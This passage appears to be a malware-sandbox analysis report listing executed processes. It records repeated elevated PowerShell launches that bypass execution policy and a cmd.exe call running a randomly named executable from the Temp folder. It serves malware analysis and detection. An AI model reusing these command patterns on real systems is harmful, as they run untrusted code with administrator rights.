                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:48
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:49
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:50
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:51
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff7b36d0000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:52
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:53
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:54
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:55
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:56
                                                                                                                                                                                                                                                Start time:02:57:19
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "C:\Users\user\AppData\Local\Temp\y0zoGtu4DzqpR6nMAU.exe"
                                                                                                                                                                                                                                                Imagebase:0x7ff6fc770000
                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:57
                                                                                                                                                                                                                                                Start time:02:57:19
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                Disassembly

                                                                                                                                                                                                                                                ⊘No disassembly